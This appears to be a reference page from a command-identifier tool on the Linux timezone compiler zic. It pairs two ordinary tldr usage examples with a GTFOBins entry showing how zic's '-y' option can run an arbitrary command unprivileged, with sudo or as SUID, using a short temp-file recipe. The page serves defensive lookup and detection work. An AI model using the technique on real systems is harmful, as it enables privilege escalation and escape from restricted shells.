Ceplin Command Identifier

Identifier / Programs / Linux and Unix

zic

Compile timezones into binary files. tldr-pages

GTFOBins command 1 documented command

Opens the identifier with your command. It is read in your browser and sent nowhere.

How zic is abused

documented by GTFOBins

command

-d
-y

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for zic.

1 documented command

from GTFOBins, each read by the identifier

command unprivileged, with sudo, as SUID

This executes the command twice:

  • /path/to/command 0 xxx
  • /path/to/command 1 xxx

Additionally the Test file is created.

echo 'Rule Jordan 0 1 xxx Jan lastSun 2 1:00d -' >/path/to/temp-file
echo 'Zone Test 2:00 Jordan CE%sT' >>/path/to/temp-file
zic -d . -y /path/to/command /path/to/temp-file
Identify

The command the identifier reads trips no Sigma process-creation rule. This command is, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for zic. The identifier reads the line that runs zic.

Everyday use

from tldr-pages, CC BY 4.0

Compile a timezone file from a directory

zic -d path/to/directoryIdentify

Report warnings during compilation of a specific file

zic -v path/to/file.infileIdentify

None of the 2 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.